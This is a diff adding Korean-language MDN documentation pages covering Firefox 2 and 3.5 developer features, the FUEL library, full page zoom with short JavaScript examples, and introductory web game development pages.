웹 사이트 및 응용프로그램 개발자

+
Microsummaries +
Microsummaries는 자동으로 업데이트 될만한 웹 페이지 내 작은 정보를 말합니다. 웹 사이트 개발자들은 북마크나 페이지 제목에 이 정보가 자동으로 업데이트 될 수 있도록 제공할 수 있습니다. 예를 들어, 특정 회사 주가를 보여 주는 페이지에서 주가를 Microsummaries로 보여 줄 수 있습니다. +
+
Microsummary 만들기 +
Microsummary 생성기를 만들고 활용하는 방법을 알려 드립니다. +
+
Microsummary XML grammar reference +
Microsummary 생성기를 만드는 데 쓰이는 XML 문법 참조 문서 +
+
OpenSearch support +
Firefox 2는 OpenSearch 검색 엔진 포맷을 지원합니다. +
+
MozSearch 플러그인 만들기 +
Firefox 2는 OpenSearch 기반 검색 플러그인 포맷인 MozSearch를 지원하지만 내부 사용 목적입니다. +
+
검색 플러그인 만들기 +
MozSearch를 이용하여 검색 플러그인 및 자동 완성 기능을 제공 하는 방법을 알려드립니다. +
+
자바스크립트 1.7 지원 +
Firefox 2는 자바스크립트 1.7을 지원합니다. 여기에는 let, destructuring assignment, generators and iterators, array comprehensions 등의 기능이 추가되었습니다. +
+
WHATWG Client-side session and persistent storage|WHATWG 클라이언트 세션 저장 기능 +
클라이언트 세션 저장 기능은 클라이언트에서 구조화된 데이터를 저장하거나 사용할 수 있도록 해 주는 새로운 기능입니다.
+
SVG 기능 +
Firefox 2는 <textPath> 요소를 구현하고 이전에 지원하지 않은 속성 지원을 더해 Scalable Vector Graphics (SVG) 지원이 향상됩니다. +
+
Controlling spell checking in HTML forms +
Firefox 2는 text area와 text field에서 인라인 철자 검사 지원을 포함합니다. 이 문서는 각 폼 요소에 철자 검사를 켜고 끄는 HTML 작성법을 설명합니다. +
+
Security in Firefox 2 +
Firefox 2는 보안 프로토콜이 기본값으로 가능하게 바뀌었습니다. +
+

XUL과 개발자들을 위한 확장

+
Updating extensions for Firefox 2 +
기존 확장 기능이 Firefox 2에서 작동하게 하는 법을 다룹니다. +
+
Session store API +
Firefox에서 세션을 넘나들며 저장 및 복구되는 항목에 기여하기. +
+
Feed content access API +
개발자가 RSS와 Atom 피드에 접근 및 구문해석하게 하는 API. +
+
SAX support +
이벤트 기반 XML 파서 API. +
+
Adding search engines from web pages +
자바스크립트는 OpenSearch 또는 Sherlock 포맷으로 작성된 검색 엔진 플러그인을 설치하도록 Firefox 에게 지시할 수 있습니다. +
+
Adding phishing protection data providers +
안전한 브라우징 시스템을 위해 추가 데이터 프로바이더를 추가하여 Firefox의 피싱 방지를 향상이 가능합니다. +
+
Adding feed readers to Firefox +
웹 기반이든 응용프로그램이든 새 피드 리더를 Firefox에 추가할 수 있습니다. +
+
Storage +
Firefox 2는 sqlite 기반 데이터베이스 아키텍쳐인 mozStorage 를 도입했습니다. +
+
Theme changes in Firefox 2 +
Firefox 2에서 작동하도록 기존 테마를 업데이트하는 데 필요한 변화를 다룹니다. +
+

일반 사용자 기능

+
Firefox 2는 여러분의 온라인 사용성을 전보다 더 안전하고 편리하게 하는 개선된 보안 기능과 함께 이전 버전처럼 깔끔한 사용자 인터페이스를 향상시킨 판을 제공합니다. +
+

사용성 증대 기능

+ +

개인 정보 및 보안

+ +{{ languages( { "en": "en/Firefox_2_for_developers", "ja": "ja/Firefox_2_for_developers" } ) }} diff --git a/files/ko/firefox_3.5_for_developers/index.html b/files/ko/firefox_3.5_for_developers/index.html new file mode 100644 index 0000000000..2431607551 --- /dev/null +++ b/files/ko/firefox_3.5_for_developers/index.html @@ -0,0 +1,302 @@ +--- +title: Firefox 3.5 for developers +slug: Firefox_3.5_for_developers +translation_of: Mozilla/Firefox/Releases/3.5 +--- +

Firefox 3.5은 넓은 범위의 향상된 웹 표준을 지원하는 것을 포함한 새로운 여러 가지 기능을 보여줍니다. 이 문서에는 향상된 부분 중 주된 부분에 대한 문서의 링크를 제공합니다.

+

Firefox 3.5에서 개발자를 위한 새로운 부분

+

웹 사이트와 웹 애플리케이션 개발자를 위한 부분

+

HTML 5 지원

+
+
+ Firefox에서 오디오와 비디오 사용
+
+ Firefox 3.5 에는 HTML 5 의 audiovideo 요소가 추가되었습니다.
+
+ Firefox에서의 오프라인 자원
+
+ Firefox 3.5 에서는 이제 HTML 5 의 오프라인 자원 부분을 모두 지원합니다.
+
+ 드래그 앤 드롭
+
+ HTML 5 의 드래그 앤 드롭 API는 웹사이트에서의 드래그 앤 드롭을 지원합니다. 또한 확장기능과 모질라 기반 애플리케이션에서 사용되는 간단한 API도 제공합니다.
+
+

CSS 변경점

+
+
+ Downloadable 다운로드 할 수 있는 폰트 지원 fonts support
+
+ 새로운 {{ cssxref("@font-face") }} @rule 은 웹페이지에서 폰트를 다운로드 할 수 있게 합니다. 그래서 이 CSS가 적용된 사이트는 페이지를 만든 사람 의도대로 보여줄 수 있습니다.
+
+ CSS media queries
+
+ Firefox 3.5 에서는 CSS media query를 지원합니다. 이것은 미디어 기반의 스타일 시트를 이용할 수 있게 합니다.
+
+ {{ cssxref(":before") }} 와 {{ cssxref(":after") }} 가 CSS 2.1에 추가되었습니다.
+
+ :before:after 모조요소(pseudo-elements)는 CSS 2.1의 position, float, list-style-*, 그리고 특정 display 속성에 추가되었습니다.
+
+ opacity
+
+ 표준 opacity 속성이 생겨서 모질라 확장 CSS인 -moz-opacity가 없어졌습니다.
+
+ text-shadow
+
+ 텍스트나 텍스트 꾸밈요소에 그림자 효과를 적용할 수 있는 text-shadow 속성이 지원됩니다.
+
+ word-wrap
+
+ 새로 지원되는 속성인 word-wrap은 한 줄에 띄어쓰기 되지 않은 긴 문자열이 있을 때, 넘쳐 보이지 않게 하기 위해 이 문자열을 중간에서 끊을 지 정합니다.
+
+ -moz-box-shadow
+
+ -moz-border-image
+
+ -moz-column-rule
+
+ -moz-column-rule-width
+
+ -moz-column-rule-style
+
+ -moz-column-rule-color
+
+ Firefox 3.5에서는 CSS에 추가적으로 모질라 확장 CSS를 지원합니다.
+
+ -moz-nativehyperlinktext 색상 값
+
+ 이 새 색상값은 시스템 기본 하이퍼링크(hyperlink) 색상을 돌려줍니다.
+
+ 새로운 -moz-window-shadow-moz-system-metric(mac-graphite-theme) 속성
+
+ These new CSS properties were added to facilitate theming.
+
+ -moz-appearance 의 새로운 값
+
+ -moz-win-glass -moz-mac-unified-toolbar 값이 -moz-appearance 에 추가되었습니다.
+
+ Using CSS transforms
+
+ Firefox 3.5 supports CSS transforms.  See -moz-transform and -moz-transform-origin for details.
+
+ :nth-child
+
+ :nth-last-child
+
+ :nth-of-type
+
+ :nth-last-of-type
+
+ :first-of-type
+
+ :last-of-type
+
+ :only-of-type
+
+ 위의 선택자들 모두가 Firefox 3.5 에 새로 추가되었습니다.
+
+

DOM 변경점

+
+
+ localStorage
+
+ Firefox 3.5 에서는 웹 애플리케이션이 클라이언트 로컬에 데이터를 저장하는 방법을 제공해주는 웹 스토리지 localStorage 속성이 추가되었습니다.
+
+ DOM workers 사용
+
+ Firefox 3.5 에서는 웹 애플리케이션이 손쉽게 멀티스레드를 지원할 수 있게 해주는 DOM workers가 지원됩니다.
+
+ geolocation 사용
+
+ Firefox 3.5 에서는 Geolocation API를 지원합니다. 위치 정보 제공자가 설치되어 있고 활성화되어 있다면, 이 API는 웹 애플리케이션이 사용자의 현재 위치 정보를 얻을 수 있게 해줍니다.
+
+ Locating DOM elements using selectors
+
+ The selectors API allows querying a document to locate the elements that match a given selection rule.
+
+ 마우스 제스쳐 이벤트
+
+ Firefox 3.5 에서는 트랙패드를 강하게 치는 등의 마우스 제스쳐 이벤트를 지원합니다.
+
+ NodeIterator 객체
+
+ NodeIterator 객체는 DOM 하위 트리의 노드들을 반복(iterating)할 수 있도록 해줍니다.
+
+ The MozAfterPaint event
+
+ This new DOM event is sent after painting updates in windows.
+
+ The MozMousePixelScroll event
+
+ This new DOM event allows detection of pixel-based mouse scroll wheel events instead of line-based scroll events.
+
+

JavaScript 변경점

+
+
+ Object.getPrototypeOf()
+
+ 이 새로운 메소드는 특정 객체의 prototype을 반환합니다.
+
+ 자체 JSON 사용
+
+ Firefox 3.5 에는 자체에서 지원하는 JSON 객체가 있습니다.
+
+ String 객체에 trim 메소드 추가
+
+ 이제 String 객체에는 trim(), trimLeft(), trimRight() 메소드가 있습니다.
+
+

Networking

+
+
+ Cross-site access controls for HTTP
+
+ 서버에서 지원한다면 Firefox 3.5에서는 XMLHttpRequest를 이용해 만들어진 것을 포함한 HTTP 요청을 다른 도메인에 하는 것이 가능해졌습니다.
+
+ Progress events for XMLHttpRequest
+
+ 요청에 대한 진행상황을 살펴볼 수 있는 확장을 동작시키면 진행상황 이벤트를 이용할 수 있습니다.
+
+ 향상된 동기화(Synchronous) XMLHttpRequest 지원
+
+ DOM TimeoutInput Events 는 동기화 XMLHttpRequest로 인해 사용하지 않게 되었습니다.
+
+ Controlling DNS prefetching
+
+ Firefox 3.5 provides DNS prefetching, whereby it performs domain name resolution ahead of time for links included in the current page, in order to save time when links are actually clicked.  This article describes how you can tune your web site to disable prefetching, or to adjust how prefetching operates.
+
+

Canvas 변경점

+
+
+ canvas 요소에서의 HTML 5 텍스트 API
+
+ Canvas 요소가 HTML 5 텍스트 API를 지원합니다.
+
+ canvas에서 그림자 효과
+
+ Canvas 그림자 효과가 지원됩니다.
+
+ createImageData()
+
+ canvas 메소드 createImageData() 가 지원됩니다. 이 메소드는 ImageData 객체를 코드로 지정해 생성할 수 있게 해줍니다. 이렇게 해서 ImageData 객체가 생성되는 것을 막아 다른 ImageData 메소드의 작동 속도를 향상시길 수 있습니다.
+
+ moz-opaque attribute
+
+ Added the moz-opaque DOM attribute, which lets the canvas know whether or not translucency will be a factor.  If the canvas knows there's no translucency, painting performance can be optimized.
+
+

New SVG features

+
+
+ Applying SVG effects to HTML content
+
+ You can now apply SVG effects to HTML and XHTML content; this article describes how.
+
+

Miscellaneous new features

+
+
+ ICC color correction in Firefox
+
+ Firefox 3.5 now supports ICC color correction for tagged images.
+
+ The defer attribute is now supported on script elements
+
+ This attribute indicates to the browser that it may choose to continue to parse and render the page without waiting for the script to finish executing.
+
+

그 외 향상된 점들

+ +

XUL과 애드온 개발자를 위한 부분

+

If you're an extension developer, you should start by reading Updating extensions for Firefox 3.5, which offers a helpful overview of what changes may affect your extension.

+

New components and functionality

+
+
+ Supporting private browsing mode
+
+ Firefox 3.5 offers Private Browsing mode, which doesn't record the user's activities.  Extensions may support private browsing following the guidelines offered by this article.
+
+ Security changes in Firefox 3.5
+
+ This article covers security-related changes in Firefox 3.5.
+
+ Theme changes in Firefox 3.5
+
+ This article covers theme-related changes in Firefox 3.5.
+
+ Monitoring WiFi access points
+
+ Code with UniversalXPConnect privileges can now monitor the list of available access points, getting information on their SSIDs, MAC addresses, and signal strength.  This can be used in tandem with Geolocation to offer WiFi-based location service.
+
+

Notable changes and improvements

+ +

사용자들을 위한 변경점

+

User experience

+
+
+ Location aware browsing
+
+ If you choose, you may allow Firefox 3.5 to share information about your current location with web sites.  Firefox 3.5 can use information about the network you're connected to to share your location. Of course, it asks for your permission before doing so, to ensure your privacy.
+
+ Open audio and video support
+
+ Firefox 3.5 supports embedded video and audio using the open Ogg format, as well as WAV for audio. No plugins, no confusing error messages about needing to install something or other that turns out not to be available on your platform anyway.
+
+ Local data storage
+
+ Web applications can now use Web Storage's local storage capabilities to store data on your computer.  This is great for anything from site preferences to more complex data.
+
+

Security and privacy

+
+
+ Private Browsing
+
+ Need to use someone else's computer? Switch on Private Browsing mode and nothing will be recorded about your session, including cookies, history, and any other potentially private information.
+
+ Better privacy controls
+
+ The Privacy preference pane has been completely redesigned to offer users more control over their private information. Users can choose to retain or discard anything including history information, cookies, downloads, and form field information.  In addition, users can specify whether or not to include history and/or bookmarks in the location bar's automated suggestions, so you can keep private web addresses from popping up unexpectedly while typing in the location bar.
+
+

동작 속도

+
+
+ 더  빠른 JavaScript 동작속도
+
+ "AJAX"에서 "J"를 뜻하는 JavaScript가 Firefox 3.5에서 새로운 TraceMonkey JavaScript 엔진을 이용해 더욱 빨라졌습니다. 웹 애플리케이션은 Firefox 3 보다 더욱 빨라졌습니다.
+
+ 더  빠른 페이지 표시속도
+
+ "speculative parsing" 기술로 Firefox 3.5에서 웹 콘텐츠를 더 빨리 표시하게 되었습니다. 사용자들이 기술의 의미하는 바를 알 필요는 없습니다. 단지 "더 빨리 보여준다."고 알면 됩니다.
+
+

See also

+ diff --git a/files/ko/fuel/index.html b/files/ko/fuel/index.html new file mode 100644 index 0000000000..ec740db603 --- /dev/null +++ b/files/ko/fuel/index.html @@ -0,0 +1,31 @@ +--- +title: FUEL +slug: FUEL +tags: + - FUEL + - Interfaces +translation_of: Mozilla/Tech/Toolkit_API/FUEL +--- +

FUEL은 개발자들에게 친숙한 용어와 인터페이스를 사용하여 확장 기능을 개발할 수 있도록 디자인된 JavaScript 라이브러리 입니다. FUEL은 Firefox 3에서 처음으로 제공되는 것으로 Firefox 2 용으로도 포팅될 것입니다.

+

FUEL은 일부 XPCOM 형식에 얽매이는 면을 최소화하고 몇 가지 "최신" JavaScript 개념들을 추가하여, 확장 기능의 개발이 쉬워져 개발 생산성이 높아질 수 있게 해줄 것입니다. 우리는 가장 유용한 것들을 제공할 수 있는 공간이 되게 시작하길 원합니다.

+

객체

+ +
+  
+

diff --git a/files/ko/full_page_zoom/index.html b/files/ko/full_page_zoom/index.html new file mode 100644 index 0000000000..3051b40775 --- /dev/null +++ b/files/ko/full_page_zoom/index.html @@ -0,0 +1,32 @@ +--- +title: Full page zoom +slug: Full_page_zoom +translation_of: Mozilla/Firefox/Releases/3/Full_page_zoom +--- +

{{ Gecko_minversion_header("1.9") }}

+

전체 페이지 확대(또는 그냥 전체 확대)는 Firefox 3에서 지원하게 될 새로운 기능입니다. Gecko 1.9a7 버전부터 트렁크 빌드에서 사용이 가능합니다. 지금은 사용자 인터페이스가 없지만 자바스크립트와 nsIMarkupDocumentViewer XPCOM 인터페이스를 사용할 수 있습니다.

+

예제 (xul:browser)

+

다음 예제는 현재의 포커스 있는 브라우저 윈도우의 사용을 보여줍니다. 이는 Firefox 확장을 위한 전형적인 사용법입니다.

+
var zoom = 1.5;
+var docViewer = getBrowser().mCurrentBrowser.markupDocumentViewer;
+docViewer.fullZoom = zoom;
+
+

예제 (xul:iframe)

+

xul:iframe에 대해서도 전체 확대 기능을 사용할 수 있습니다. 그러나, iframe이 markupDocumentViewer를 가지고 있지 않기 때문에 그것을 먼저 얻어야 합니다.

+
var zoom = 1.5;
+var iframe = document.getElementById("authorFrame");
+var contViewer = iframe.docShell.contentViewer;
+var docViewer = contViewer.QueryInterface(Components.interfaces.nsIMarkupDocumentViewer);
+docViewer.fullZoom = zoom;
+
+

레퍼런스

+ +

 

+

 

+
+  
+

{{ languages( { "en": "en/Full_page_zoom", "es": "es/Zoom_a_p\u00e1gina_completa", "fr": "fr/Zoom_pleine_page", "ja": "ja/Full_page_zoom" } ) }}

diff --git a/files/ko/games/index.html b/files/ko/games/index.html new file mode 100644 index 0000000000..47f0006e0b --- /dev/null +++ b/files/ko/games/index.html @@ -0,0 +1,95 @@ +--- +title: 게임 개발 +slug: Games +tags: + - HTML5 + - HTML5 게임 + - 게임 + - 게임 개발 + - 앱 + - 웹 + - 자바스크립트 게임 +translation_of: Games +--- +
{{GamesSidebar}}
+ +
+

게임은 가장 인기있는 컴퓨터 활동 중 하나입니다. 어떠한 표준 웹 브라우저에서도  작동하는 더욱 좋고 강력한 게임을 개발할 수 있는 새로운 기술들이 끊임없이 나타나고 있습니다.

+
+ +
{{EmbedGHLiveSample("web-tech-games/index.html", '100%', 820)}}
+ +
+
+

웹 게임 개발하기

+ +

웹 게임 개발 센터에 온 것을 환영합니다! 이 사이트에서는 게임 개발을 원하는 웹 개발자들에게 리소스를 제공합니다. 왼쪽의 기본 메뉴에서 유용한 자습서 및 기술 관련 기사를 찾을 수 있습니다. 자유롭게 탐색하시기 바랍니다.

+ +

우리는 또한 유용한 엔진과 툴의 목록과 게임 예제 뿐만 아니라 당신이 게임 개발에서 사용되는 가장 대중적인 API의 모든 것들에 대한 정보를 쉽게 발견하기 위해서 참고 자료를 포함하고 있습니다.

+ +
+

Note: 웹 게임을 개발하기 전에 적어도 HTML과 CSS, JavaScript같은 핵심 웹 기술에 익숙해져야 합니다. 기초부터 배워보고 싶으시다면 Learning Area를 둘러보세요.

+
+ +
+
+
+ +
+

네이티브 언어로 개발된 게임을 웹으로 포팅하기

+ +

만약 네이티브 개발자이고(예를 들어 C++로 게임을 만들 수 있는 경우) 게임을 웹에 복사하는 것에 흥미가 있다면 LLVM 바이트코드(예를 들어, Clang을 사용하는 C/C++ 혹은 다른 언어에서 생성된 코드)를 받아 웹에서 실행 가능한 asm.js로 컴파일하는 Emscripten 툴을 배워보는 것이 좋습니다.

+ +

시작하고 싶다면, 아래 링크를 참조해보세요.

+ + +
+
+ +
+
+

예제

+ +

 웹 게임들의 예시 목록을 보고싶으면 examples page에서 확인해보세요. 또 더욱 쓸만한 리소스를 보고싶다면 games.mozilla.org를 확인해보세요!

+
+
+ +

참조

+ +
+
+
+
Build New Games
+
수많은 오픈 웹 게임 개발 튜토리얼을 가지고 있는 협업 사이트입니다. 최근에는 활동이 많지 않지만 여전히 좋은 자료들을 가지고 있습니다.
+
Creative JS
+
게임만 있는 것은 아니지만 꽤 인상적인 JavaScript 기술과 실험들의 모음집입니다. 최근에는 활동이 많지 않지만 여전히 좋은 자료들을 가지고 있습니다.
+
Game programming patterns
+
Bob Nystrom이 작성한 책으로, 더욱 효과적이고 효율적인 코드를 개발하는 게임 개발자들에게 도움이 되도록 게임 개발에서의 프로그래밍 패턴에 대해 논하는 이북입니다.
+
Gamedev.js Weekly
+
HTML5 게임 개발을 주제로 하는 뉴스레터로, 매 주 금요일에 보내줍니다. 최신 기사들과 튜토리얼, 툴 및 자료들을 담고 있습니다.
+
HTML5 Game Devs Forum
+
게임 개발자, 프레임 워크 개발자, 출판사들을 위한 포럼입니다. 질문하고, 답변을 받고, 남들을 도와주세요.
+
+
+ +
+
+
HTML5 Game Engine
+
평가, 기능 및 샘플을 기준으로 인기있는 HTML5 게임 프레임워크들의 목록입니다.
+
JSBreakouts
+
여러 프레임워크에서의 JavaScript Breakout 클론들을 비교하여 본인에게 맞는 프레임워크를 골라보세요.
+
Tuts+ Game Development
+
일반적인 게임 개발에 대한 튜토리얼과 글이 올라옵니다.
+
HTML5 Gamedev Starter
+
새로운 게임 개발자들을 위한 웹 주변의 다양하고 유용한 자료들에 대한 링크의 큐레이터 목록인 스타터이다.
+
js13kGames
+
개발자들의 13 킬로바이트짜리 자바스크립트 코딩 공모전입니다. 제출된 게임들은 GitHub에 읽을 수 있는 형태로 올라옵니다.
+
Mozilla Hacks blog
+
Mozilla Hack 블로그의 게임 카테고리는 게임 개발과 관련된 흥미로운 기사들이 올라와 있습니다.
+
+
+
diff --git a/files/ko/games/index/index.html b/files/ko/games/index/index.html new file mode 100644 index 0000000000..5d36376f6e --- /dev/null +++ b/files/ko/games/index/index.html @@ -0,0 +1,10 @@ +--- +title: Index +slug: Games/Index +tags: + - Meta +translation_of: Games/Index +--- +
{{GamesSidebar}}
+ +

{{Index("/en-US/docs/Games")}}

diff --git a/files/ko/games/introduction/index.html b/files/ko/games/introduction/index.html new file mode 100644 index 0000000000..44d4af9564 --- /dev/null +++ b/files/ko/games/introduction/index.html @@ -0,0 +1,118 @@ +--- +title: 웹 게임 개발에 대해 +slug: Games/Introduction +tags: + - 가이드 + - 게임 + - 모바일 + - 모바일 게임 + - 파이어폭스OS +translation_of: Games/Introduction +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/Games")}}
+ +

현대의 웹은 뛰어나고 고품질의 게임을 만들 뿐 만 아니라 이 게임들을 배급 하는 플랫폼으로 성장하였습니다.

+ +

제작되는 게임의 범위는 데스크탑이나 기본OS용 게임들에도 필적합니다다. 현대의 웹 기술과 최신 브라우저로 최고 사양의 웹 게임을 만드는게 가능해졌습니다. 우리는 예전에  Flash® 가지고 하던 가벼운 카드 게임이나 멀티플레이 소셜 게임을 말하는 게 아닙니다. 끝내주는 고사양의 3D 액션 슈팅 게임, RPG 게임, 그 이상을 말하는 것이죠. 자바 스크립트의 실시간 컴파일러 기술과 새로운 API의 대대적인 퍼포먼스 개선으로 이런게 가능해졌습니다. 브라우저로 (또는 HTML5를 사용하는 장비에서, 예시로 파이어폭스 OS로 운영되는 장치에서 ) 운영되는 게임을 제작할 수 있게 되었습니다.

+ +

HTML5 게임 플랫폼

+ +

우리는 웹을 우리의 게임에 더 좋은 타깃 플레폼이라고 생각합니다. 우리가 앞서 얘기했듯이 "웹이 곧 플랫폼이다." 라고 할 수 있죠. 아래의 웹 플랫폼의 핵심을 살펴보도록 합시다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
기능기술
Audio (오디오)Web Audio API
Graphics (그래픽)WebGL (OpenGL ES 2.0)
Input (입력)Touch events, Gamepad API, device sensors, WebRTC, Full Screen API, Pointer Lock API
Language (언어)JavaScript (or C/C++ using Emscripten to compile to JavaScript)
Networking (네트워킹)WebRTC and/or WebSockets
Storage (저장공간)IndexedDB or the "cloud"
Web (웹)HTML, CSS, SVG, Social API (and much more!)
+ +

비즈니스 예시

+ +

개인이든 대형 게임 제작사든 게임 개발자라면, 당신의 다음 게임 개발 프로젝트로 왜 웹을 타킷으로 설정해야 하는지 알고 싶을 것입니다. 웹이 어떻게 당신에게 도움이 될 수 있는지 알아봅시다:

+ +
    +
  1. +
    웹의 범위는 방대하죠. 어디에든 있습니다. HTML5로 만들어진 게임은 스마트폰, 태블릿, PC, 심지어 스마트 TV에서도 작동합니다.
    +
  2. +
  3. 마케팅과 검색 가능성이 향상되었습니다. 다른 앱 스토어에만 국한되지 않고 어느 곳에서나 당신의 앱을 홍보할 수 있습니다. 웹 고유 특성인 링크와 공유 덕분에 새로운 고객에게 전세계 웹은 물론 다른 미디어에서도 광고나 홍보가 가능합니다.
  4. +
  5. 가장 중요한것을 당신이 관리 할 수 있습니다: 바로 결제 시스템 입니다 . 당신의 게임이 다른 이의 앱 생태계에 들어있다는 이유만으로 수익의 30%를 넘겨주지 않아도 됩니다. 대신, 당신이 원하는 만큼 가격을 책정하고 원하는 결제 방식을 사용할 수 있죠.
  6. +
  7. 당신이 관리 할 수 있는 더 중요한 부분이 있습니다. 당신이 원할 때 게임을 업데이트할 수 있다는 것입니다. 다른 회사의 누군가가 버그 수정을 오늘 올릴지, 내일 올릴지 결정하는 것을 숨 막히게 기다리지 않아도 됩니다.
  8. +
  9. 게임에 대한 분석을 관리할 수 있다. 당신이 필요한 분석 자료에 대해 다른 누군가에게 의존하지 않아도 된다. 매출이나 게임의 영향력에 대한 정보를 모으기 위해 당신 스스로 분석 자료를 수집하거나 선호하는 서드파티를 선택할 수 있다.
  10. +
  11. 고객 관계를 보다 면밀하게 관리 할 수 있습니다. 고객 피드백을 앱 스토어의 제한된 방식을 통해 받지 않아도 됩니다. 중매인이 없이 원하는 방식으로 고객과 소통하십시오. [주의: 현재 번역이 완벽하지 않습니다]
  12. +
  13. 게임 플레이어들이 어디서든, 언제든지 당신의 게임을 할 수 있다. 웹이 보편적이기 때문에, 당신의 고객들은 그들의 게임 현황을 폰에서든, 타플렛에서든, 랩탑에서든, 업무용 데스크탑에서든, 혹은 어디서든 확인할 수 있다.
  14. +
+ +

게임 개발자들을 위한 웹 기술

+ +

게임개발을 하는 우리의 개발자 친구들을 위해 게임을 실현케 하는 몇가지 API들을 알아봅시다. 여기에 웹으로 할 수 있는 간략한 리스트를 보여드리겠습니다:

+ +
+
+
Full Screen API
+
이 간단한 API는 당신의 게임이 스크린 전체를 차지하도록 하여 플레이어가 집중하도록 도와줍니다.
+
Gamepad API
+
당신 게임의 유저가 게임패드를 사용 가능하기를 원한다면, 아니면 다른 게임 컨트롤러를 게임에 적용시키고자 한다면 이 API가 필요할 것 입니다.
+
HTML and CSS
+
이 두 기술이 게임 개발, 스타일, 레이아웃, 유저 인터페이스를 가능하게 할것입니다. HTML중 {{HTMLElement("canvas")}} 부분은 2D 그래픽을 가능하게 하는 방법중 하나입니다.
+
HTML audio
+
{{HTMLElement("audio")}} 는 쉽게 간단한 음향 효과나 음악을 가능하게 해줍니다. 이보다 더 한 음향 효과를 필요로 한다면  제대로된 오디오 프로세싱 파워를 가진 Web Audio API 를 확인해 보세요!
+
IndexedDB
+
사용자 데이터를 사용자 기기에 저장시키는 강력한 데이터 저장 API 입니다. 로컬데이터로 저장하여 매번 다운로드 받을 필요 없이 게임 state와 다른 정보들 필요할 때 마다 저장 할 수 있습니다. 또한 당신의 게임이 오프라인 상에서도 실행이 가능하도록 하는데 도움이 됩니다. ( 유저가 비행모드 일 때 등등 말이죠)
+
JavaScript
+
자바스크립트, 웹 개발에 사용되는 언어, 이는 최신 브라우저에서 아주 빠르고 매번 더욱 빨라지고 있습니다. 이 강력한 언어를 당신의 게임을 위해 사용 해보시고, 현재 이미 만들어진 게임에 Emscripten 혹은 Asm.js 과같은 기술들을 사용해보세요. 
+
Pointer Lock API
+
The Pointer Lock API lets you lock the mouse or other pointing device within your game's interface so that instead of absolute cursor positioning you receive coordinate deltas that give you more precise measurements of what the user is doing, and prevent the user from accidentally sending their input somewhere else, thereby missing important action.
+
SVG (Scalable Vector Graphics)
+
Lets you build vector graphics that scale smoothly regardless of the size or resolution of the user's display.
+
Typed Arrays
+
JavaScript typed arrays give you access to raw binary data from within JavaScript; this lets you manipulate GL textures, game data, or anything else, even if it's not in a native JavaScript format.
+
Web Audio API
+
This API for controlling the playback, synthesis, and manipulation of audio from JavaScript code lets you create awesome sound effects as well as play and manipulate music in real time.
+
WebGL
+
Lets you create high-performance, hardware-accelerated 3D (and 2D) graphics from Web content. This is a Web-supported implementation of OpenGL ES 2.0.
+
WebRTC
+
The WebRTC (Real-Time Communications) API gives you the power to control audio and video data, including teleconferencing and transmitting other application data back and forth between two users. Want your players to be able to talk to each other while blowing up monsters? This is the API for you.
+
WebSockets
+
The WebSocket API lets you connect your app or site to a server to transmit data back and forth in real-time. Perfect for multiplayer gaming action, chat services, and so forth.
+
Web Workers
+
Workers give you the ability to spawn background threads running their own JavaScript code, to take advantage of modern, multi-core processors.
+
XMLHttpRequest and File API
+
The combination of XMLHttpRequest and the File API lets you send and receive any kind of data you want (don't let the "XML" throw you!) from a Web server. This is a great way to do anything from downloading new game levels and artwork to transmitting non-real-time game status information back and forth.
+
+
+ +

 

diff --git a/files/ko/games/tutorials/2d_breakout_game_phaser/index.html b/files/ko/games/tutorials/2d_breakout_game_phaser/index.html new file mode 100644 index 0000000000..5ef42088c5 --- /dev/null +++ b/files/ko/games/tutorials/2d_breakout_game_phaser/index.html @@ -0,0 +1,64 @@ +--- +title: 2D breakout game using Phaser +slug: Games/Tutorials/2D_breakout_game_Phaser +tags: + - 2D + - Beginner + - Canvas + - Games + - JavaScript + - NeedsTranslation + - Phaser + - TopicStub + - Tutorial + - 게임 + - 자바스크립트 + - 초급자 + - 캔버스 + - 튜토리얼 +translation_of: Games/Tutorials/2D_breakout_game_Phaser +--- +
{{GamesSidebar}}
{{IncludeSubnav("/ko/docs/Games")}}
+ +

{{Next("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기")}}

+ +

이 튜토리얼을 차례차례 진행하면서 우리는 HTML5 {{htmlelement("canvas")}} 로 렌더되는 순수한 JavaScript로 쓰여진 간단한 MDN 벽돌깨기 게임을 만들 것입니다.

+ +

모든 과정은 플레이 가능하고 편집가능한 라이브 샘플을 포함하고 있습니다. 이 샘플을 통해, 여러분은 중간 스테이지들이 어떻게 보여져야 하는지 확인할 수 있습니다. 여러분은 이미지의 렌더링과 움직임, 충돌 감지, 컨트롤 메카니즘들과 승리와 패배 상태와 같은 기본적인 게임 원리들을 구현하기 위해서, {{htmlelement("canvas")}}엘리먼트의 기본적인 사용 방법을  배우게 될 것입니다.

+ +

이 시리즈를 최대한 활용하려면 중급의 JavaScript 지식이 있어야 합니다. 이 튜토리얼을 끝낸 후에는 여러분은 스스로 간단한 웹 게임들을 만들 수 있게 될 것입니다.

+ +

Gameplay screen from the game MDN Breakout where you can use your paddle to bounce the ball and destroy the brick field, with keeping the score and lives.

+ +

강의 내용

+ +

모든 강의 내용과 우리가 함께 만드는 MDN 벽돌깨기 게임의 다른 버전들은 GitHub에서 찾을 수 있습니다.:

+ +
    +
  1. 캔버스 생성과 그리기
  2. +
  3. 공 움직이기
  4. +
  5. 벽으로 부터 튕겨나오기
  6. +
  7. 패들과 키보드 컨트롤
  8. +
  9. 게임 오버
  10. +
  11. 벽돌 필드 만들기
  12. +
  13. 충돌 감지
  14. +
  15. 점수 추적과 승리
  16. +
  17. 마우스 컨트롤
  18. +
  19. 마무리
  20. +
+ +

웹 게임 개발의 확고한 지식을 얻기 위해 순수한 JavaScript로 시작하는 것은 최고의 방법입니다. 이후에, 여러분은 프로젝트에 프레임워크를 골라서 사용할 수도 있습니다.  프레임워크들은 JavaScript로 만들어진 툴일 뿐입니다. 따라서 여러분이 프레임워크를 사용하더라도, 프레임워크 밑에서 정확히 어떤 일이 어떤일이 일어나는지 알기 위해 언어를 배우는것은 좋은 일입니다. 프레임워크들은 개발 속도를 올려주고, 게임의 지루한 부분들을 해결하는데 도움을 줍니다. 하지만 어떤 일들이 기대한대로 일어나지 않는다면, 여러분은 디버그를 시도하거나 여러분 스스로 순수한 JavaScript로 솔루션을 작성할 수 도 있습니다.

+ +
+

노트: 만약 여러분이 게임 라이브러리를 이용한 2D 웹 게임 개발의 학습에 흥미가 있다면,  이 시리즈의 대응 파트인 2D breakout game using Phaser를 살펴보시기 바랍니다.

+
